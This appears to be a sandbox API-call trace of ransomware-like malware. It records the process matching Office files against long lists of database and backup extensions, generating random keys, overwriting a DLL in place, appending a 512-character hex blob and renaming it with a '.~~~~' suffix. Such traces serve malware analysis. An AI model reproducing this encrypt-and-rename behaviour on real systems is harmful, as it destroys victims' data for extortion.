	[0081.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".bdb") returned 0x0
	[0081.763] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0081.763] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x363030
	[0081.763] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3948e8) returned 1
	[0081.764] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363030 | out: pbBuffer=0x363030) returned 1
	[0081.764] CryptReleaseContext (hProv=0x3948e8, dwFlags=0x0) returned 1
	[0081.764] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363030 | out: hHeap=0x300000) returned 1
	[0081.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0081.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0081.764] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20175450203) returned 1
	[0081.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9a95a350, dwHighDateTime=0x1d60e1e)) 
	[0081.764] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0081.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0081.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0081.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe590
	[0081.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe590 | out: hHeap=0x300000) returned 1
	[0081.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0081.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbeb8
	[0081.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.765] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0081.765] GetLastError () returned 0x0
	[0081.765] GetLastError () returned 0x0
	[0081.765] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0081.765] GetLastError () returned 0x0
	[0081.765] GetLastError () returned 0x0
	[0081.765] ReadFile (in: hFile=0x124, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.785] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.785] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.786] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.786] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.786] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.794] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.794] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.794] CloseHandle (hObject=0x124) returned 1
	[0081.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39a238
	[0081.808] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll.~~~~")) returned 1
	[0081.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0081.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0081.894] GetLastError () returned 0x0
	[0081.894] RtlWakeConditionVariable () returned 0x365f70
	[0081.894] GetCurrentThreadId () returned 0xaf0
	[0081.894] GetCurrentThreadId () returned 0xaf0
	[0081.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b42b0
	[0081.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3e00 | out: hHeap=0x300000) returned 1
	[0081.894] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe750 | out: hHeap=0x300000) returned 1
	[0081.894] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3e00
	[0081.894] lstrlenW (lpString=".scr") returned 4
	[0081.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".scr") returned 0x0
	[0081.894] lstrlenW (lpString=".cmd") returned 4
	[0081.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".cmd") returned 0x0
	[0081.894] lstrlenW (lpString=".dll") returned 4
	[0081.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".dll") returned 0x0
	[0081.894] lstrlenW (lpString=".bat") returned 4
	[0081.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".bat") returned 0x0
	[0081.894] lstrlenW (lpString=".cpl") returned 4
	[0081.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".cpl") returned 0x0
	[0081.895] lstrlenW (lpString=".sys") returned 4
	[0081.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".sys") returned 0x0
	[0081.895] lstrlenW (lpString=".msc") returned 4
	[0081.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".msc") returned 0x0
	[0081.895] lstrlenW (lpString=".com") returned 4
	[0081.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".com") returned 0x0
	[0081.895] lstrlenW (lpString=".lnk") returned 4
	[0081.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".lnk") returned 0x0
	[0081.895] lstrlenW (lpString=".msp") returned 4
	[0081.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".msp") returned 0x0
	[0081.895] lstrlenW (lpString=".pif") returned 4
	[0081.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".pif") returned 0x0
	[0081.895] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch="msp\r\n.pif") returned 0x0
	[0081.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0081.896] lstrlenW (lpString=".sqb") returned 4
	[0081.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".sqb") returned 0x0
	[0081.896] lstrlenW (lpString=".ost") returned 4
	[0081.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".ost") returned 0x0
	[0081.896] lstrlenW (lpString=".txt") returned 4
	[0081.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".txt") returned 0x0
	[0081.896] lstrlenW (lpString=".mdt") returned 4
	[0081.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".mdt") returned 0x0
	[0081.896] lstrlenW (lpString=".BDB") returned 4
	[0081.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".BDB") returned 0x0
	[0081.896] lstrlenW (lpString=".eql") returned 4
	[0081.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".eql") returned 0x0
	[0081.896] lstrlenW (lpString=".DBF") returned 4
	[0081.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".DBF") returned 0x0
	[0081.896] lstrlenW (lpString=".EQL") returned 4
	[0081.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".EQL") returned 0x0
	[0081.896] lstrlenW (lpString=".FDB") returned 4
	[0081.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".FDB") returned 0x0
	[0081.896] lstrlenW (lpString=".EDB") returned 4
	[0081.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".EDB") returned 0x0
	[0081.897] lstrlenW (lpString=".DACPAC") returned 7
	[0081.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".DACPAC") returned 0x0
	[0081.897] lstrlenW (lpString=".VHD") returned 4
	[0081.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".VHD") returned 0x0
	[0081.897] lstrlenW (lpString=".DBV") returned 4
	[0081.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".DBV") returned 0x0
	[0081.897] lstrlenW (lpString=".dacpac") returned 7
	[0081.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".dacpac") returned 0x0
	[0081.897] lstrlenW (lpString=".sdf") returned 4
	[0081.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".sdf") returned 0x0
	[0081.897] lstrlenW (lpString=".accdb") returned 6
	[0081.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".accdb") returned 0x0
	[0081.897] lstrlenW (lpString=".DBX") returned 4
	[0081.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".DBX") returned 0x0
	[0081.897] lstrlenW (lpString=".MDT") returned 4
	[0081.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".MDT") returned 0x0
	[0081.897] lstrlenW (lpString=".SQB") returned 4
	[0081.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".SQB") returned 0x0
	[0081.897] lstrlenW (lpString=".vhd") returned 4
	[0081.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".vhd") returned 0x0
	[0081.897] lstrlenW (lpString=".bac") returned 4
	[0081.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".bac") returned 0x0
	[0081.897] lstrlenW (lpString=".mdf") returned 4
	[0081.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".mdf") returned 0x0
	[0081.897] lstrlenW (lpString=".BAK") returned 4
	[0081.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".BAK") returned 0x0
	[0081.897] lstrlenW (lpString=".BAC") returned 4
	[0081.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".BAC") returned 0x0
	[0081.898] lstrlenW (lpString=".dbs") returned 4
	[0081.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".dbs") returned 0x0
	[0081.898] lstrlenW (lpString=".vhdx") returned 5
	[0081.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".vhdx") returned 0x0
	[0081.898] lstrlenW (lpString=".NDF") returned 4
	[0081.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".NDF") returned 0x0
	[0081.898] lstrlenW (lpString=".dat") returned 4
	[0081.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".dat") returned 0x0
	[0081.898] lstrlenW (lpString=".DBS") returned 4
	[0081.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".DBS") returned 0x0
	[0081.898] lstrlenW (lpString=".CKP") returned 4
	[0081.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".CKP") returned 0x0
	[0081.898] lstrlenW (lpString=".edb") returned 4
	[0081.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".edb") returned 0x0
	[0081.898] lstrlenW (lpString=".PST") returned 4
	[0081.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".PST") returned 0x0
	[0081.898] lstrlenW (lpString=".dbf") returned 4
	[0081.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".dbf") returned 0x0
	[0081.898] lstrlenW (lpString=".SQL") returned 4
	[0081.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".SQL") returned 0x0
	[0081.898] lstrlenW (lpString=".pst") returned 4
	[0081.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".pst") returned 0x0
	[0081.898] lstrlenW (lpString=".dbv") returned 4
	[0081.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".dbv") returned 0x0
	[0081.898] lstrlenW (lpString=".SDF") returned 4
	[0081.898] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".SDF") returned 0x0
	[0081.898] lstrlenW (lpString=".dtxs") returned 5
	[0081.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".dtxs") returned 0x0
	[0081.899] lstrlenW (lpString=".db3") returned 4
	[0081.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".db3") returned 0x0
	[0081.899] lstrlenW (lpString=".OST") returned 4
	[0081.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".OST") returned 0x0
	[0081.899] lstrlenW (lpString=".dbx") returned 4
	[0081.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".dbx") returned 0x0
	[0081.899] lstrlenW (lpString=".DB3") returned 4
	[0081.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".DB3") returned 0x0
	[0081.899] lstrlenW (lpString=".DAT") returned 4
	[0081.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".DAT") returned 0x0
	[0081.899] lstrlenW (lpString=".VHDX") returned 5
	[0081.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".VHDX") returned 0x0
	[0081.899] lstrlenW (lpString=".ndf") returned 4
	[0081.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".ndf") returned 0x0
	[0081.899] lstrlenW (lpString=".DB") returned 3
	[0081.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".DB") returned 0x0
	[0081.899] lstrlenW (lpString=".sql") returned 4
	[0081.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".sql") returned 0x0
	[0081.899] lstrlenW (lpString=".MYD") returned 4
	[0081.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".MYD") returned 0x0
	[0081.899] lstrlenW (lpString=".DBT") returned 4
	[0081.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".DBT") returned 0x0
	[0081.899] lstrlenW (lpString=".ACCDB") returned 6
	[0081.899] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".ACCDB") returned 0x0
	[0081.899] lstrlenW (lpString=".fdb") returned 4
	[0081.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".fdb") returned 0x0
	[0081.900] lstrlenW (lpString=".bak") returned 4
	[0081.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".bak") returned 0x0
	[0081.900] lstrlenW (lpString=".myd") returned 4
	[0081.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".myd") returned 0x0
	[0081.900] lstrlenW (lpString=".DTXS") returned 5
	[0081.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".DTXS") returned 0x0
	[0081.900] lstrlenW (lpString=".ckp") returned 4
	[0081.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".ckp") returned 0x0
	[0081.900] lstrlenW (lpString=".dbt") returned 4
	[0081.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".dbt") returned 0x0
	[0081.900] lstrlenW (lpString=".db") returned 3
	[0081.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".db") returned 0x0
	[0081.900] lstrlenW (lpString=".TXT") returned 4
	[0081.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".TXT") returned 0x0
	[0081.900] lstrlenW (lpString=".MDF") returned 4
	[0081.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".MDF") returned 0x0
	[0081.900] lstrlenW (lpString=".bdb") returned 4
	[0081.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".bdb") returned 0x0
	[0081.900] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.900] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0081.900] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.900] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0081.901] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.901] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0081.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3ce910
	[0081.902] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20189180501) returned 1
	[0081.902] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9aab0fb0, dwHighDateTime=0x1d60e1e)) 
	[0081.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0081.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0081.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0081.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe750
	[0081.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe750 | out: hHeap=0x300000) returned 1
	[0081.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a238
	[0081.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
